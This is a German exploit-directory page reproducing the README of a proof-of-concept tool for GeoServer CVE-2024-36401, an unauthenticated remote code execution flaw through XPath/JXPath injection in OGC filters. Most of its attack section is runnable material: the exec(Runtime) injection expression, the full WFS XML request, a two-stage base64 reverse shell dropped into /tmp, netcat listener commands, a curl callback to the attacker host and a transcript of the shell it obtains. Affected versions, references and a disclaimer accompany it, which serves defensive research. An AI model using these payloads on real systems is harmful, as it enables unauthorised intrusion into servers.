Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-36401-poc — Unauthentifizierter RCE-Exploit für GeoServer (CVE-2024-36401) über XPath-Injection in OGC-Filtern. Unterstützt Reverse Shell und blinde Befehlsausführung mit automatischer Versionserkennung und Erkundung von Feature-Typen. | Kitploit
Tools/GitHubGitHub/delt-a/cve-2024-36401-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-Tool
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Unauthentifizierter RCE-Exploit für GeoServer (CVE-2024-36401) über XPath-Injection in OGC-Filtern. Unterstützt Reverse Shell und blinde Befehlsausführung mit automatischer Versionserkennung und Erkundung von Feature-Typen.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-36401 — GeoServer OGC XPath Injection RCE

Python CVE CVSS License

Exploit für nicht authentifizierte Remote-Codeausführung (Remote Code Execution) bei GeoServer über die Injektion des OGC-Filterparameters valueReference (XPath/JXPath-Auswertung).

Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bestimmt. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.


Inhaltsverzeichnis

  • Überblick
  • Betroffene Versionen
  • Technische Details
  • Voraussetzungen
  • Installation
  • Verwendung
  • Beispiele
  • Funktionsweise
  • Fehlerbehebung
  • Referenzen

Überblick

GeoServer ist ein Open-Source-Java-Server zum Austausch von Geodaten, der häufig in Regierungs-, Unternehmens- und Forschungsumgebungen eingesetzt wird. CVE-2024-36401 ermöglicht es einem nicht authentifizierten Angreifer, beliebige Betriebssystembefehle auf dem Host auszuführen, indem Java-Ausdrücke in OGC-Filterparameter (Open Geospatial Consortium) injiziert werden.

Die Schwachstelle wurde im Juli 2024 aufgrund aktiver Ausnutzung in freier Wildbahn in den Katalog CISA Known Exploited Vulnerabilities (KEV) aufgenommen.


Betroffene Versionen

BranchVerwundbarer BereichBehoben in
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

GeoServer-Versionen älter als 2.23.0 sind ebenfalls wahrscheinlich betroffen, aber sie sind End-of-Life und ungetestet.


Technische Details

GeoServer verwendet die Bibliothek GeoTools, um OGC-Filterausdrücke auszuwerten. Der Parameter valueReference (und andere wie CQL_FILTER) wird ohne Bereinigung an JXPathContext.selectNodes() von Apache Commons JXPath übergeben.

JXPath unterstützt das Aufrufen beliebiger Java-Methoden über Ausdrücke wie:

root@kitploit:~
exec(java.lang.Runtime.getRuntime(), 'id')

Diese Auswertung erfolgt vor der Authentifizierungsprüfung für bestimmte Endpunkte, wodurch die Schwachstelle vollständig ohne Authentifizierung ausnutzbar ist.

Verwundbare Endpunkte:

  • POST /geoserver/wfs — GetPropertyValue-Anfrage mit valueReference
  • GET /geoserver/ows — gleicher Parameter über die Abfragezeichenfolge

Wichtiger technischer Hinweis: Der valueReference-Ausdruck muss einfache Anführungszeichen (') um die Befehlszeichenfolge verwenden. Doppelte Anführungszeichen (") führen zu XML-Parsing-Fehlern und verhindern die Ausführung – eine häufige Falle in anderen öffentlichen PoCs.


Voraussetzungen

  • Python 3.9+
  • requests-Bibliothek
  • Ziel, das eine verwundbare GeoServer-Version mit mindestens einem verfügbaren WFS-Feature-Typ ausführt (die Standard-Beispieldaten-Workspaces sf, topp, tiger sind ausreichend)

Installation

root@kitploit:~
git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

Oder installieren Sie die Abhängigkeiten direkt:

root@kitploit:~
pip3 install requests

Verwendung

root@kitploit:~
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
  -l, --lhost LHOST     Your IP address for reverse shell callback
  -p, --lport LPORT     Listener port (default: 4444)
  -c, --cmd CMD         Single command to execute (no output returned)
  -f, --feature FEATURE Feature type override (auto-detected if omitted)

Modi

ModusFlag(s)Beschreibung
Reverse-Shell

Beispiele

1. Reverse-Shell (empfohlen)

Starten Sie zuerst einen Listener:

root@kitploit:~
nc -lvnp 4444

Führen Sie dann den Exploit aus:

root@kitploit:~
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

Erwartete Ausgabe:

root@kitploit:~
   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6

[*] Target : http://<TARGET>:8080

[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites

[*] Feature type : sf:archsites
[*] Listener      : <LHOST>:4444
[*] Start         : nc -lvnp 4444

[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener

Auf dem Listener:

root@kitploit:~
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. Befehlsausführung (blind)

Führen Sie einen Befehl aus, ohne eine Ausgabe zu erhalten. Nützlich für Out-of-Band-Verifikation oder das Ablegen von Dateien:

root@kitploit:~
# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

Hinweis: Befehle, die Shell-Metazeichen (>, |, &, ;) enthalten, werden automatisch base64-kodiert, um Parsing-Probleme zu vermeiden.


3. Feature-Typ manuell angeben

Wenn die automatische Erkennung fehlschlägt, geben Sie einen bekannten Feature-Typ vom Ziel an:

root@kitploit:~
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

In den GeoServer-Beispieldaten enthaltene gängige Feature-Typen:


Funktionsweise

Der Exploit sendet eine GetPropertyValue-WFS-Anfrage mit einem bösartigen valueReference-Ausdruck:

root@kitploit:~
<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

Für die Reverse-Shell wird ein zweistufiger Ansatz verwendet, um Probleme mit Shell-Metazeichen im exec()-Argument (als einzelne Zeichenfolge) zu vermeiden.

Stufe 1 — Schreibt die Reverse-Shell mit Base64-Kodierung und Shell-Klammererweiterung nach /tmp/rs.sh (keine Leerzeichen in der exec-Zeichenfolge):

root@kitploit:~
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}

Stufe 2 — Führt das Skript aus:

root@kitploit:~
bash /tmp/rs.sh

Dieser Ansatz vermeidet die Notwendigkeit eines Shell-Interpreters im ersten exec()-Aufruf und macht ihn über verschiedene Systemkonfigurationen hinweg zuverlässig.


Fehlerbehebung

[-] Cannot connect to target

  • Stellen Sie sicher, dass Ziel-URL und Port korrekt sind.
  • Bestätigen Sie, dass GeoServer läuft: curl http://<TARGET>:8080/geoserver/web/

[-] No usable feature type found

  • GeoServer-Beispieldaten sind möglicherweise nicht installiert.
  • Versuchen Sie, einen benutzerdefinierten Feature-Typ mit -f <workspace>:<type> anzugeben.
  • Listen Sie verfügbare Typen auf: curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"

[+] Payload delivered, aber keine Shell empfangen

  • Stellen Sie sicher, dass Ihr Listener läuft, bevor Sie den Exploit senden.
  • Prüfen Sie die Firewall-Regeln – das Ziel muss Ihren LHOST:LPORT erreichen können.
  • Einige PoCs verwenden doppelte Anführungszeichen (") um den Befehl – das funktioniert nicht. Stellen Sie sicher, dass einfache Anführungszeichen (') im valueReference-Ausdruck verwendet werden.

[!] Version X.X.X may be patched — attempting anyway

  • Das Skript versucht den Exploit unabhängig von der Versionserkennung immer.
  • Die Versionserkennung kann fehlschlagen, wenn die About-Seite eingeschränkt ist; der Exploit kann dennoch erfolgreich sein.

Referenzen

  • NVD — CVE-2024-36401
  • GitHub Advisory — GHSA-7g64-hx6g-4427
  • GeoServer Security Advisory
  • CISA-KEV-Katalog
  • GeoTools-JXPath-Patch

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Details finden Sie unter LICENSE.

Tool herunterladen
-l LHOST -p LPORT
Zweistufige Reverse-Shell über bash
Befehlsausführung-c CMDEinzelnen Befehl ausführen (blind — keine Ausgabe)
Feature-Typ-Override-f FEATUREAuto-Erkennung überspringen, angegebenen Typ verwenden
WorkspaceFeature-Typ
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings